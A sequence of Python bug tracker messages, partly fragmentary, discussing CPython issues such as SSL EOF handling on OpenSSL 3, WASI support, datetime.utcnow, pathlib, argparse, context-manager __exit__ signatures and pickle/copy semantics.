The second change is merely a potential pessimization: there's no need to use what's typically a 64-bit integer to count the number of PyLong digits in a long.
While fixing these, I've also reworked the PyLong_FromLong code a bit to move the medium int check earlier, and I've applied analogous changes to PyLong_FromLongLong.

Message-ID: <1641731810.02.0.364133890346.issue46312@roundup.psfhosted.org>
New submission from yota moteuchi <yota.news at gmail.com>:
This improvement proposal is close to : https://bugs.python.org/issue42956 and also detailed in https://stackoverflow.com/questions/13855288/turn-slice-into-range
to iterate over a slice, the recommended method seems to be :
s = slice(5,100,3)
for i in range(s.stop)[s] :
# do something
but if range() accepted directly a slice, it would dramatically improve the readability :
s = slice(5,100,3)
for i in range(s) :
# do something
and it could be convenient, especially inside the __getitem__ property. I'll try to make a quick patch to test...

Having slept on it, I realized that if I was presenting interactive prompts for a template, I would expect the prompts to be in order that the identifiers appear in the template. Accordingly, I've updated the PR to maintain ordering.

Subject: [issue46313] SSLObject does not raise SSLEOFError on OpenSSL 3
Message-ID: <1641735617.1.0.262008079316.issue46313@roundup.psfhosted.org>
New submission from Alex Gr?nholm <alex.gronholm at nextday.fi>:
PR #25309 (https://github.com/python/cpython/pull/25309) changed OpenSSL behavior so that it ignores unexpected EOFs by default. This was detected by the test suites of both trio and AnyIO when running on OpenSSL 3.
We worked around the problem by explicitly unsetting the SSL_OP_IGNORE_UNEXPECTED_EOF flag and then checking if the "strerror" attribute of SSLError contains the text "UNEXPECTED_EOF_WHILE_READING".
The remedy in the standard library would be twofold:
1. Revert the change of enabling SSL_OP_IGNORE_UNEXPECTED_EOF by default
2. Handle the condition properly so that SSLEOFError is raised instead of the generic SSLError
As SSLSockets ignore SSLEOFError by default, this fix should work fine for those too.

Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:
Accepting a slice directly in the range constructor is ambiguous. What to do if start or stop are negative or None? What if stop is less than start? You need to specify a sequence length to handle these cases.
Maybe the following expressions work for you:
range(length)[s]
or
range(*s.indices(length))
But other users may need different behavior (if they want convert slice(-20, -10) to range(-20, -10)). There is no general solution which would work for all, you have to code what you need.

It exhibits the same shortcoming as toLower.
multi-language support ain't easy, especially when everything you learned about strings ain't true.

(wasm32-wasi)
Message-ID: <1641739663.52.0.433507958543.issue46315@roundup.psfhosted.org>
New submission from Christian Heimes <lists at cheimes.de>:
WASI is another WebAssembly platform similar to Emscripten (bpo-40280). Simply speaking Emscripten binaries (wasm32-emscripten) run inside a browser while WASI binaries target standalone runtimes like wasmtime [2][3] on the host. The lines are a bit blurry, as it is possible to run WASI binaries in the browser with help of JS-polyfills. WASI provides compile once, run anyway with JIT/AOT and sandboxing.
WASI is still under development and is lacking several core features:
- threading support and pthread API
- sockets
- signals are emulated (_WASI_EMULATED_SIGNAL and -lwasi-emulated-signal)
- DAC APIs like chmod, umask
- user-related APIs like pwd, grp
- dup(), dup2(), F_DUPFD
For 3.11 I plan to fix our use of #ifdef HAVE_FEATURE to make it easier to experiment with WASI. The pthread APIs need stubs, which I won't commit to 3.11 upstream yet.

New submission from Barney Gale <barney.gale at gmail.com>:
pathlib.Path.iterdir() contains the following code:
if name in {'.', '..'}:
# Yielding a path object for these makes little sense
continue
This check is unnecessary as os.listdir() does not return entries for '.' or '..':
os.listdir(path='.')
Return a list containing the names of the entries in the
directory given by path. The list is in arbitrary order, and
does not include the special entries '.' and '..' even if they
are present in the directory

Message-ID: <1641739976.38.0.625892156687.issue46317@roundup.psfhosted.org>
New submission from Oz Tiram <nahumoz at gmail.com>:
Pathlib.rename will fail across file system with:
OSError: [Errno 18] Invalid cross-device link
e.g:
-> path_dict["current_path"].rename(path_dict["destination"])
(Pdb) n
OSError: [Errno 18] Invalid cross-device link: '/tmp/pipenv-k1m0oynt-yaml/PyYAML-6.0/lib/yaml' -> '/home/oz123/Software/pipenv/pipenv/patched/yaml3'
This is because it uses os.rename under the hood:
https://github.com/python/cpython/blob/3.10/Lib/pathlib.py#L306
One can either replace it with `shutil.move` which works, or one could
add another method to Pathlib.move(...) with similar signature and return value, which calls `shutil.move` under the hood.
Before submitting a patch for that, I would like to get feedback for that.

Message-ID: <1641753460.47.0.959606038192.issue46319@roundup.psfhosted.org>
New submission from Tony Rice <rtphokie at gmail.com>:
datetime.datetime.utcnow()
returns a timezone naive datetime, this is counter-intuitive since you are logically dealing with a known timezone. I suspect this was implemented this way for fidelity with the rest of datetime.datetime (which returns timezone naive datetime objects).
The workaround (see below) is to replace the missing tzinfo.
Recommendation:
By default datetime.datetime.utcnow() should return a timezone aware datetime (with tzinfo of UTC of course) or at least offer this behavoir as an option,
e.g.:
datetime.datetime.utcnow(timezone-aware=True)
Workaround:
dt = datetime.utcnow().replace(tzinfo=timezone.utc)

I hope the Fedora maintainers/packagers know this because on Rawhide, Python is being compiled against OpenSSL 3 (which is how we discovered the problem). F36 is due out in a little over 3 months.

Hi, buddy, there is no problem if invoke the http.server.test function as its designed, I mean the function iteself is okay, thus http/server.py invoked it via the functools.partial wrapper (handler_class) only will case this issue, which technically ignored its protocol parameter's specify. User of http/server.py::test should specify a handler class directly.
If this is a bug, maybe it is about the usage/desire of `functools.partial` ... I am not sure, closure model programming (the lambda etc.) is not eary for me and I closed this issue by courtesy yesterday, if reopen this issue will help/valueable a bit, please tell me.
Improve my English seems too nessary, thank you so much for your warm hearted.

segmentation fault
Message-ID: <1641761312.51.0.52946214208.issue46320@roundup.psfhosted.org>
New submission from Quentin Pradet <quentin.pradet at gmail.com>:
Since https://github.com/python/cpython/commit/32a67246b0d1e08cd50fc3bfa58052cfeb515b2e which was introduced through https://bugs.python.org/issue46008 and shipped as part of alpha 3, the urllib3 test suite reliably crashes on Fedora 35 (ie. gives a segfault).
I've narrowed the reproducer code down to https://github.com/pquentin/urllib3/blob/segfault/test/test_reproduce.py, but that still requires cffi, pyOpenSSL and Tornado.
The segfault either happens in the `ssl` module or the `selectors` module:

I can work on a better reproducer, but thought this was already interesting as https://github.com/python/cpython/pull/29977 states there should have been zero change in behavior.

Dennis Sweeney <sweeney.dennis650 at gmail.com> added the comment:
What you typed is already valid syntax, it's just that `a, b, c` makes a tuple, not a list. Changing that now would be backwards-incompatible.
Is this a request for some kind of tweak to some documentation, or is this a request for a different behavior?

Ben Kehoe <ben at kehoe.io> added the comment:
The point is to be able to programmatically determine what is needed for a
successful substitute() call. A basic use case for this is better error
messages; calling substitute() with an incomplete mapping will tell you
only the first missing identifier it encounters; if you know all the
identifiers you can raise an error about all the missing identifiers.
Another error handling use case is checking whether the template is valid,
without needing to provide a complete mapping. A use case unrelated to
error handling that I?ve encountered a few times is interactive prompting
for template values, which you can only do if you can get a list of the
identifiers in the template.

The simplest way of collecting template names is to use a defaultdict:
>>> d = collections.defaultdict(str)
>>> string.Template('$a $b').substitute(d)
' '
>>> d.keys()
dict_keys(['a', 'b'])
You can use a custom mapping if you need special handling of absent keys.

That doesn?t really seem like a Pythonic way of extracting that

average developer to come up with. A method that provides the information
directly seems useful.

FileNotFoundError
Message-ID: <1641772402.91.0.366626116181.issue46322@roundup.psfhosted.org>
New submission from SinaGhaaf <sina at ghaaf.me>:
An existence check of 'keylogfile' is missed at https://github.com/python/cpython/blob/main/Lib/ssl.py#L779, if the file path does not exist, it tries to set 'context.keylog_filename' to an invalid file, and the result would be 'FileNotFoundError'.
The following check fixed the issue:
if keylogfile and not sys.flags.ignore_environment and os.path.isfile(keylogfile):
```

Yes, this is the documented behavior, including a warning against using UTC now in the documentation!
There is some possibility of removing utcnow entirely as an "attractive nuisance", but I suspect that this will lead to much consternation and hand-wringing, and there are some legitimate uses for `utcnow`, so I haven't made it a high priority to have that particular fight...

Nikita, you can use the command:

The variation in the caret position was also due to the trailing spaces. This is now sorted in this solution with a factored out function to find out the correct offset.

Tested against all of the following cases and it works great:
temp=f"blank ({foo()}"+f"blank ({foo(}"+f"blank ({foo()}"
temp=f"blank*{foo(*blank*foo()*blank*foo()}"+f"({foo(}"+f"blank ({foo(}"
a=foo)+foo()+foo()
f"blank ({foo(blank ({foo()}) blank foo()})"
temp=f"blank ({foo)foo2"
temp=f"blank {foo)"
temp=f"blank {foo)"<Space double triple or more here>

Subject: [issue46324] 'import traceback' Causes a Crash
Message-ID: <1641792937.05.0.517965113844.issue46324@roundup.psfhosted.org>
New submission from bichanna <nobu.bichanna at gmail.com>:
I was developing a programming language using Python, and I had a 'token.py' file. After changing the name of the file, the issue was solved.
I am sure that my 'token.py' caused the error.
Here's the traceback I got:
Traceback (most recent call last):

Subject: [issue46325] Documentation for SubprocessTransport.get_pipe_transport
return values readable/writable
Message-ID: <1641794388.21.0.0521440708614.issue46325@roundup.psfhosted.org>
New submission from xx11mz <xx11mz at live.com>:
SubprocessTransport.get_pipe_transport returns a "transport for the communication pipe corresponding to the integer file descriptor fd".
Below that, it currently says fd 0 is readable and fd 1 and 2 are writable.
But since it is referring to the subprocess' file descriptors from the perspective of the parent process, I believe fd 0 should be writable while fd 1 and 2 are readable. In other words, the parent process can write to the subprocess' stdin and read from its stdout and stderr.
Maybe I have completely misunderstood this method, but I have confirmed that get_pipe_transport(0) indeed returns a writable transport.
So unless I'm mistaken, I think the word "readable" should be changed to "writable" and vice-versa in the SubprocessTransport.get_pipe_transport documentation.

Subject: [issue46326] 'virtualenv --clear' should prompt user before nuking
entire directory
Message-ID: <1641805306.76.0.639944392664.issue46326@roundup.psfhosted.org>
New submission from Ali Mohammad Pur <Ali.mpfard at gmail.com>:
`virtualenv --clear` is extremely eager to delete the passed directory without
any sort of confirmation, leading to possible data-loss
(e.g. with a mistyped command, or a misunderstanding of what it actually does).
Simply deleting an entire directory tree with a command that's extremely
prone to misunderstanding should not be virtualenv's job, but as it has
decided to make this its job, then it should take proper precautions to avoid
unintentional `rm -fr some-directory` by *at least* asking for confirmation.
The previous behaviour can of course, stay behind a `--force` flag for uses in
CI or similar, but this should *not* be the default behaviour.
related: https://github.com/pypa/virtualenv/issues/1890 mentions that
"[it is not] good practice to put non-virtual environment-related files into a
virtual environment", which is sensible, and so virtualenv should then simply
refuse to be instantiated in a non-empty directory.
On a more subjetive note, `virtualenv --clear <dir>` sounds like a way to purge the virtual environment files from a directory (yes, I understand what the help says, but that hardly changes anything), so perhaps a more verbose flag like "--clear-contents" would be more appropriate, but I digress.

Message-ID: <1641809022.94.0.176766366407.issue46327@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
Here's the problem: https://github.com/python/cpython/blob/main/Lib/test/test_enum.py#L4515-L4531
Why it is a problem?
1. First test is marked as `@unittest.skipUnless(python_version == (3, 8)`. Which means it is only executed on `3.8`. I think it should be removed from more recent branches
2. Second test is marked as `@unittest.skipUnless(python_version >= (3, 9)`. Which means that it will be executed on three currently supported branches. I think we can remove this decorator
I will send a PR today.

The code works as intended and design.
The keylog file is created in append-only mode when the file does not exist yet. A missing, inaccessible, or read-only directory or an invalid path raise an exception by design. Errors should not pass silently. The error informs the user of a misconfiguration.
Would accept a documentation update and a better error message for missing parent directory. Your proposed workaround is not acceptable. Python would no longer create a new keylog file and user would no longer get a hint that their configuration is wrong.

dup() is required by _PyTokenizer_FindEncodingFilename(). I came up with this hack:
// from wasi-libc libc-top-half/musl/src/internal/stdio_impl.h
struct _IO_FILE {
unsigned flags;
unsigned char *rpos, *rend;
int (*close)(FILE *);
unsigned char *wend, *wpos;
// incomplete
};
static int
dummy_close(FILE *fp) {
return 0;
};
static FILE *
_Py_fdopen_borrow(int fd, const char *mode) {
FILE *fp = fdopen(fd, mode);
((struct _IO_FILE*)fp)->close = dummy_close;
return fp;
}
keithw on #wasi pointed out that fopencookie() can archive the same outcome without resorting to ABI-specific hack. A trivial implementation is straight forward:
typedef union {
void *cookie;
int fd;
} borrowed;
static ssize_t
borrow_read(void *cookie, char *buf, size_t size)
{
borrowed b;
b.cookie = cookie;
return read(b.fd, (void *)buf, size);
}
static ssize_t
borrow_write(void *cookie, const char *buf, size_t size)
{
errno = ENOTSUP;
return -1;
}
static int
borrow_seek(void *cookie, off_t *off, int whence)
{
borrowed b;
b.cookie = cookie;
off_t pos;
pos = lseek(b.fd, *off, whence);
if (pos == (off_t)-1) {
return -1;
} else {
*off = pos;
return 0;
}
}
static int
borrow_close(void *cookie)
{
// does not close(fd)
return 0;
}
FILE *
_Py_fdopen_borrow(int fd, const char *mode) {
// only support read for now
if (strcmp(mode, "r") != 0) {
return NULL;
}
cookie_io_functions_t cookie_io = {
borrow_read, borrow_write, borrow_seek, borrow_close
};
// cookie is just the fd
borrowed b;
b.fd = fd;
return fopencookie(b.cookie, "r", cookie_io);
}

That's not how OSS work. Python core development does not have resources to provide proactive support for all Linux distros in the world. We provide documentation and guidance. I assume that paid package maintainers of a commercial Linux vendor perform their due diligence, read the release notes, and follow upstream development discussions.
PS: I'm unsubscribing from this bpo now.

Do you know other projects which dump the full help into stdout when asking for the "full help"?
For me, the best CLI is "git help", "git help init", etc. "git help init" opens "man git-init". I don't know its behaviour on platforms without manpage support, like Windows.

Message-ID: <1641815417.01.0.0256923104095.issue46328@roundup.psfhosted.org>
New submission from Irit Katriel <iritkatriel at gmail.com>:
Following to changes in issue45711, the interpreter's internal representation of the active exception is just the exception instance (the exc_type and exc_traceback fields were removed).
For backwards compatibility, sys.exc_info() constructs the (typ, val, tb) tuple from the instance and this will continue to be the case for some time because this tuple has leaked into quite a few APIs.
However, now that the redundancy in the exc_info tuple is guaranteed by the way it's constructed, we can confidently add a sys.exception() method that returns just the exception instance (as suggested in PEP3134's section on future improvements).
This small change will make a difference to learners because the (typ, val, tb) tuple looks quite cryptic to those who don't know about tracebacks, and the redundancy in it is confusing for those who do.

`ps --help` lists sections "<simple|list|output|threads|misc|all>". The "--help all" output is all sections, but truly all help is only available via `man ps`.

With Git for Windows, `git help <command>` opens an HTML formatted manual page in a web browser. It should use a new tab in an existing browser window.

Subject: [issue46329] Split up the CALL_NO_KW and CALL_KW instructions.
Message-ID: <1641819285.76.0.605357810946.issue46329@roundup.psfhosted.org>
New submission from Mark Shannon <mark at hotpy.org>:
Most calls (not those with *args and/or **kwargs) are compiled to the `CALL_NO_KW` and `CALL_KW` instructions, possibly with a `PRECALL_METHOD` prefix.
We want to unify the `CALL_NO_KW` and `CALL_KW` instructions into a single `CALL` instruction and add two new instructions: `PRECALL_FUNCTION` and `KW_NAMES`.
All call sequences would start with `PRECALL_FUNCTION` or `PRECALL_METHOD`. `PRECALL_METHOD` would continue to pair with `LOAD_METHOD` as it does now. `PRECALL_FUNCTION` would effectively be a no-op, but would be needed to set up internal interpreter variables.
`CALL_NO_KW` would become `CALL` and `CALL_KW` would become `KW_NAMES; CALL`.
Why?
Specializing calls is an important optimization, but calls are complicated and we want to specialized for both the type of the callable and the shape of the call.
By breaking up calls in this way, we can specialize for the type and for the shape mostly independently.
We can specialize for classes, bound-methods and other objects that ultimately call a Python function in the `PRECALL` instruction and specialize for the shape of the arguments in the `CALL` instruction.
See https://github.com/faster-cpython/ideas/discussions/210 for more rationale.

Subject: [issue46330] Simplify the signature of __exit__
Message-ID: <1641820088.08.0.801223860673.issue46330@roundup.psfhosted.org>
New submission from Jelle Zijlstra <jelle.zijlstra at gmail.com>:
With Irit's recent changes (bpo-45711), the (typ, exc, tb) tuple is now always redundant with just exc. As a result, `__exit__` methods now should only need to accept a single argument. If we were designing the context manager protocol from scratch, we could do:
class CM:
def __enter__(self):
return self
def __exit__(self, exc: BaseException | None, /):
if exc is not None:
print("an exception occurred")
Instead of the current cumbersome three-parameter `__exit__`.
But we're not designing it from scratch, and we need to deal with lots of existing code with three-parameter `__exit__` methods.
One possible decision is that we keep the existing signature, because the cost of changing it is too high. However, this would needlessly complicate learning Python for all future new users.
Here's a possible migration approach:
- When the interpreter encounters a `with` statement, it does `getattr(cm, "__enable_single_parameter_exit__", False)` on the context manager. If this attribute exists and is truthy, `__exit__` is called with a single parameter; otherwise we keep the current behavior.
- After a few releases, we flip the default, so you have to explicitly set `__enable_single_parameter_exit__ = False` to keep three-parameter `__exit__`. Libraries that still wish to support Python 3.10 and older can use this.
- Eventually, after Python 3.10 reaches EOL, we always use one-parameter `__exit__`.
To help the migration, we can do a few things:
- Linters and type checkers can check for discrepancies in the __exit__ signature.
- In the interpreter, we can provide a custom error message if the number of parameters to `__exit__` is not as expected, nudging the user towards setting `__enable_single_parameter_exit__`.
- In the compiler, we can likely warn if a class body contains three-parameter `__exit__` but doesn't set `__enable_single_parameter_exit__ = False`, or similar discrepancies.
Everything here should apply equally to `__aexit__`.
This will require a PEP if implemented, but I want to first see whether other people think this is worth pursuing at all.

I've outlined a different approach here:
https://gist.github.com/iritkatriel/3927147548b10a7929cb0b680e3adc52
Basically, to add introspection capabilities in the C API so that the interpreter can find out whether __exit__ expects one or three args.

If it takes *args we should assume that it expects the triplet rather than a single exception. It's not an edge case, it's very common to write __exit__ like that.

It is clearer if written as:

raise v from e
(note that this doesn't copy the traceback from e to v, but this is redundant information anyway because e is chained to v as the cause).

This enhancement request should be reconsidered.
Yes it is the documented behavior but that doesn't mean it's the right behavior. Functions should work as expected not just in the context of the module they are implemented in but the context of the problem they are solving.
The suggested workaround of essentially nesting the specified UTC time via datetime.now(timezone.utc) is ugly rather than beautiful, complex rather than simple, and nested instead of flat.
The suggestion that now is preferred over isnow loses sight that UTC is not like other timezones.
A lot has changed since Python 2.7 was released in 2010. It is the default timezone of cloud infrastructure.

Subject: [issue46333] ForwardRef.__eq__ does not respect module parameter
Message-ID: <1641828029.13.0.319383260427.issue46333@roundup.psfhosted.org>
New submission from Andreas H. <ahangauer at gmx.net>:
The __eq__ method of ForwardRef does not take into account the module parameter.
However, ForwardRefs with dissimilar module parameters are referring to different types even if they have different name. Thus also the ForwardRef's with same name but different module, should not be considered equal.
Consider the following code
from typing import *
ZZ = Optional['YY']
YY = int
YY = Tuple[Optional[ForwardRef("YY", module=__name__)], int]
print( YY.__args__[0].__args__[0].__forward_module__ )
# this prints None, but should print __main__ (or whatever __name__ contains)
When the first ForwardRef is not created, the program behaves correctly
#ZZ = Optional['YY']
YY = int
YY = Tuple[Optional[ForwardRef("YY", module=__name__)], int]
print( YY.__args__[0].__args__[0].__forward_module__ )
# this prints __main__ (or whatever __name__ contains)
The issue is that the line `ZZ = Optional['YY']` creates a cache entry, which is re-used instead of the second definition `Optional[ForwardRef("YY", module=__name__)]` and thus shadows the different argument of ForwardRef.
This problem could be fixed if the __eq__ method of FowardRef also checks for module equality.
i.e. in ForwardRef.__eq__ in typing.py replace
return self.__forward_arg__ == other.__forward_arg__
with
return self.__forward_arg__ == other.__forward_arg__ and self.__forward__module__ == other.__forward__module__
Ideally, (and for consistency reasons) the `__repr__` method of `ForwardRef` would also include the module arg if it present:
Change:
def __repr__(self):
return f'ForwardRef({self.__forward_arg__!r})'
to
def __repr__(self):
if self.__forward_module__ is None:
return f'ForwardRef({self.__forward_arg__!r})'
else:
return f'ForwardRef({self.__forward_arg__!r}, module={self.__forward__module!r})'

Would there be any value in spelling this as sys.active_exception() or sys.current_exception() or sys.get_exception() or sys.exception_in_flight() or similar?
My only worry is confusion between sys.exception() versus builtins.Exception.

It appears you are describing behavior in the third-party virtualenv project; if so, you should report the problem to that project (https://pypi.org/project/virtualenv/). If similar behavior is also an issue with the Python standard library venv module (which is a derivative of virtualenv), please update this issue accordingly. Thanks!

So sys.exception() will be equivalent to sys.exc_info()[1] (or rather, sys.exc_info() will be (type(sys.exception()), sys.exception(), sys.exception().__traceback__))?
That seems good to me.

FWIW, here's an alternative we should *not* pursue: return just the exception from sys.exc_info(). For compatibility, we would implement `__iter__` and `__getitem__` on BaseException, to duplicate the behavior of the current tuple. There are a number of good reasons why this is *not* what we should do.

Hi Tony,
from practical experience, it is a whole lot better to not deal with
timezones in data processing code at all, but instead only use
naive UTC datetime values everywhere, expect when you have to
prepare reports or output which has a requirement to show datetime
value in local time or some specific timezone.
You convert all datetime values into UTC upon input, possibly
store the timezone somewhere, if that is relevant for later reporting,
and then forget about timezones.
Your code will run faster, become a lot easier to understand
and you avoid many pitfalls that TZs have, esp. when TZs are
silently dropped interfacing to e.g. numeric code, databases or
other external code.
There's a reason why cloud code (and a lot of other code, such
as data science code) has standardized on UTC :-)
Cheers,

Ned, the CLI of venv has a `--clear` option, which invokes EnvBuilder [1] with clear=True. It's implemented by EnvBuilder.clear_directory(). Ali wants this method to prompt for confirmation before deleting the directory contents and also proposes the addition of a new `--force` option to skip the prompt.

Thanks, I saw that. However, the issue as written does not mention venv at all, only virtualenv. I wanted the OP to verify that it does apply to venv and, if the problem exists both places, to update this issue and to open an issue against virtualenv.

Yes, exactly. `pip install nox && nox -Rs test-3.11`. My reproducer is still too big to be useful, and I failed to reproduce this on Docker. If you can't reproduce, I'll work on the reproducer more. Thanks!

Note also that datetime.now() gives you a naive datetime. From an API consistency standpoint I think it makes sense that datetime.utcnow() gives a naive datetime. It would actually be confusing (IMO) for it to return an aware datetime. I can see why you might disagree, but backward compatibility wins in this case regardless.

Message-ID: <1641835252.55.0.383081716651.issue46334@roundup.psfhosted.org>
New submission from Trey Hunner <trey at truthful.technology>:
The glossary page allows for anchor links to jump to specific definitions.
For example: https://docs.python.org/3.9/glossary.html#term-lbyl will open the glossary page with the web browser showing the LBYL at the top of the page.
This no longer works in Python 3.10 and Python 3.11 documentation.
https://docs.python.org/3.10/glossary.html#term-lbyl
https://docs.python.org/3.11/glossary.html#term-lbyl
Opening either of those links in Chrome or Firefox on my machine results in the glossary page being opened without any scrolling (the top of the glossary page is shown rather than the LBYL definition).

Fundamentally the use of allow_abbrev=False is now broken (it is allowing abbreviations when already explicitly told not to)
The use of a single - for all options is much older than -- and exists in my unix utilities and many programs have been written to follow this convention, these are now broken in 3.8+
"Changed in version 3.8: In previous versions, allow_abbrev also disabled grouping of short flags such as -vv to mean -v -v"
Does not accurately describe the behavior change, it is more broadly injecting abbreviations when already told not to.

I don?t think that prior art applies here, as python does not have subcommands. `--help` and `--help-env` are straightforward, `-X help` is a bit unusual but at least it?s part of the optional `-X` options, `--help-full` or `-all` would be way to preserve the behaviour of printing full usage with one option.

Paul Ganssle <bpo at m.ganssle.io> added the comment:
> from practical experience, it is a whole lot better to not deal with timezones in data processing code at all, but instead only use naive UTC datetime values everywhere, expect when you have to prepare reports or output which has a requirement to show datetime value in local time or some specific timezone.
This is not good advice. It is out of date, and has some significant pitfalls. See my blog post on the subject: https://blog.ganssle.io/articles/2019/11/utcnow.html
If you are working with `datetime` objects that represent time in a specific time zone other than the system local zone, you should probably have them carry around a tzinfo object.
> Note also that datetime.now() gives you a naive datetime. From an API consistency standpoint I think it makes sense that datetime.utcnow() gives a naive datetime.
This... is not accurate. `.now()` gives you the local time; to the extent that they represent a date in a time zone at all, na?ve time zones represent times in the *system local time*, which is why it makes sense for `.now()` to default to returning na?ve time zones. For example, `datetime.now().timestamp()` will give accurate information, whereas `datetime.utcnow().timestamp()` will *not* (unless your local zone happens to be UTC or equivalent).
> It would actually be confusing (IMO) for it to return an aware datetime. I can see why you might disagree, but backward compatibility wins in this case regardless.
As evidenced by this thread, the fact that we have some APIs that return na?ve datetimes generated by a process that treats them as localized datetimes in something other than system local times is actually the source of confusion ?
That said, from a backwards compatibility point of view, we simply cannot change this. It has been proposed many times and it would be a major breaking change for almost no reason. The best we can do is to deprecate the offending methods and remove them.
There is more information about the challenge that doing this would present in this datetime-SIG thread: https://mail.python.org/archives/list/datetime-sig at python.org/thread/PT4JWJLYBE5R2QASVBPZLHH37ULJQR43/
I am sympathetic to the idea of removing it, but we would probably want to put some optimizations in place for `UTC` first, to make the transition more seamless in the few places where there are legitimate uses for `utcnow` and `utcfromtimestamp`.
> I would argue that PEP20 should win over backward compatibility, in addition to the points I hinted at above, practicality beats purity
PEP 20 contains a bunch of contradictory advice, and it's not really a binding document anyway, so it definitely doesn't "win" over anything, but in this case you have it backwards. "Purity" would be making a breaking change for the purposes of making the function do what a lot of people think it does, but doing so would actually be impractical, because it would cause a lot of work for people, and create a lot of ambiguity in what people meant when they wrote a given line of code. The practical things to do here would be to either do nothing (not break anything that works and try and guide people away from using `utcnow` ? maybe get a linting rule added to `pylint` to warn against it), or to deprecate and remove the function.

paul j3 <ajipanca at gmail.com> added the comment:
This patch should be rejected.
By using `common_opts_parser` as parent to both the main and subparsers, you have defined the same argument in both.
By a long standing patch, the value assigned in the subparser has precedence (whether it's the default or user supplied).
https://bugs.python.org/issue9351
argparse set_defaults on subcommands should override top level set_defaults
Partial retraction of this override has been explored, but any changes are still up for debate
https://bugs.python.org/issue45235
argparse does not preserve namespace with subparser defaults
The bottom line is that we should not try to define the same argument (or more specifically the same `dest`) in both main and subparsers. Duplicate flags are ok.
But resolving the conflicting values should be done after parsing. Some users will want to give priority to the main parser's values, others to the subparser's. Or their own defaults. argparse cannot handle all cases cleanly.

still executes subprogram
Message-ID: <1641840953.56.0.83398324511.issue46335@roundup.psfhosted.org>
New submission from Clint Olsen <clint.olsen at gmail.com>:
When stress testing my code in a process-limited environment I found that despite throwing an exception, it appears the process still executes. Attempting to catch/retry results in a duplicate.
Attached is a script that I was able to repro the problem on Linux. I cannot get it to behave similarly on MacOS.
The exception looks like:
/bin/sh: fork: retry: Resource temporarily unavailable
Traceback (most recent call last):
File "/home/colsen/async/./example", line 16, in run
proc = await asyncio.create_subprocess_exec('/bin/sh','-c', f'/bin/echo {_id} > {_uuid}.out')
File "/home/utils/Python/3.9/3.9.7-20211101/lib/python3.9/asyncio/subprocess.py", line 236, in create_subprocess_exec
transport, protocol = await loop.subprocess_exec(
File "/home/utils/Python/3.9/3.9.7-20211101/lib/python3.9/asyncio/base_events.py", line 1661, in subprocess_exec
transport = await self._make_subprocess_transport(
File "/home/utils/Python/3.9/3.9.7-20211101/lib/python3.9/asyncio/unix_events.py", line 202, in _make_subprocess_transport
watcher.add_child_handler(transp.get_pid(),
File "/home/utils/Python/3.9/3.9.7-20211101/lib/python3.9/asyncio/unix_events.py", line 1381, in add_child_handler
thread.start()

_start_new_thread(self._bootstrap, ())
RuntimeError: can't start new thread
So, this script ended up producing 21 output files (duplicate on iteration 18).
I need a way to catch these errors, pause, and retry when they are recoverable.

And LBYL does work but only if LBYL was used: https://docs.python.org/3/glossary.html#term-LBYL
The EAFP term does link to #term-LBYL instead of the old #term-lbyl.
It looks like the capitalization changed. The search doesn't seem to know that though (the LBYL glossary link at the top is broken): https://docs.python.org/3/search.html?q=lbyl
I would vote for changing the link back to lowercase rather than changing the search to link to the new URL. Otherwise links to specific glossary terms scattered around the internet will all link to the top of the glossary page instead.

"I tried to create a group hierarchy in a way that I can pass the responsibility of argument validation to the argument parser."
I looked at your example in:
https://bugs.python.org/issue46058
The many levels of nesting groups was confusing, but now I realize that by nesting argument_groups in a mutually_exlusive_group you were try to implement some sort of any/all group within the xor group.
This cannot be done within argparse. Mutually_exclusive only implements a flat xor. Argument_groups are used for help display, but play no role in parsing.
Some years ago I explored the use of nest parsing groups:
https://bugs.python.org/issue11588
Add "necessarily inclusive" groups to argparse
I was trying to allow for nested groups that implemented all logical options - xor, or, and, not. Defining such groups wasn't hard. And I think I got the testing logic working right. But usage display required too big of a change to the formatter, and left too many loose ends. So I have let that languish.
Now I recommend focusing on doing the testing after parsing. Use meaningful defaults where possible, and use `is None` to test whether a users has provided a value or not.

I installed 3.10, and then removed 3.9 that I had installed previously. Python is installed in "C:\Program Files\Python310". The only thing that exists under %LocalAppData% is an empty directory "C:\Users\avk\AppData\Local\Programs\Python\Python310\Scripts" - I always install "for all users" so there isn't anything else under the "C:\Users\avk\AppData\Local\Programs\Python" other than the empty directory I mentioned.

Implementation and transition issues aside, I like this idea. People can mostly just use isinstance() checks to match one or more exception types. Also, the single argument form would work well with structural pattern matching:
def __exit__(self, exc):
match exc:
case IOError():
...
That said, there will be some cases that are worse off. If the code actually needs "exctype", perhaps for logging or for an exact match, then the new single argument form will just shift complexity away from the signature and into the main body of the code. This may be the common case. During code reviews, I see the "exctype" argument used more frequently than "excinst".

Without logs or the ability to reproduce it, there's not much we can do. I ran the install and it put the variables in the right place, so it's not happening all the time.
The install logs are usually detailed enough to see why decisions like this are made, but it'll almost certainly be because of something specific to your machine. If running the install again produces the same result, those logs will be helpful as well. I don't see us being able to make any product changes for this though.

We haven't opened an issue for this, but discussed it in Discord, sorry. It also does not always crash on GitHub Actions. Here's an example of a crash: https://github.com/urllib3/urllib3/runs/4740730329?check_suite_focus=true
If nox can't find your Python version and `nox --no-venv -Rs test-3.11` does not run your version of Python 3.11, you can always execute those commands directly:
pip install -r dev-requirements.txt
pip install ".[socks,secure,brotli]"
pytest
If that does not crash on your system, I'd appreciate if you could tell me how I could help get this fixed besides simplifying the reproducer. Thanks.

Subject: [issue46336] Sixth element of tuple from __reduce__(),
inconsistency between pickle and copy
Message-ID: <1641850864.54.0.502406919667.issue46336@roundup.psfhosted.org>
New submission from Lev Bishop <lev.bishop at gmail.com>:
As discussed in discord thread https://discuss.python.org/t/sixth-element-of-tuple-from-reduce-inconsistency-between-pickle-and-copy/12902 where guido suggested to open this issue.
Both the pickle and copy modules of the standard library make use of a class?s __reduce__() method for customizing their pickle/copy process. They seem to have a consistent view of the first 5 elements of the returned tuple:
(func, args, state, listiter, dictiter) but the 6th element seems different. For pickle it?s state_setter , a callable with signature state_setter(obj, state)->None , but for copy it?s deepcopy with signature deepcopy(arg: T, memo) -> T .
This seems to be unintentional, since the pickle documentation states:
> As we shall see, pickle does not use directly the methods described
> above. In fact, these methods are part of the copy protocol which
> implements the __reduce__() special method. The copy protocol provides
> a unified interface for retrieving the data necessary for pickling
> and copying objects
It seems like in order to make a class definition for __reduce__() returning all 6 elements, then the __reduce__() would have to do something very awkward like examining its call stack in order to determine if it is being called in pickle or copy context in order to return an appropriate callable? (Naively providing the same callable in both contexts would cause errors for one or the other).
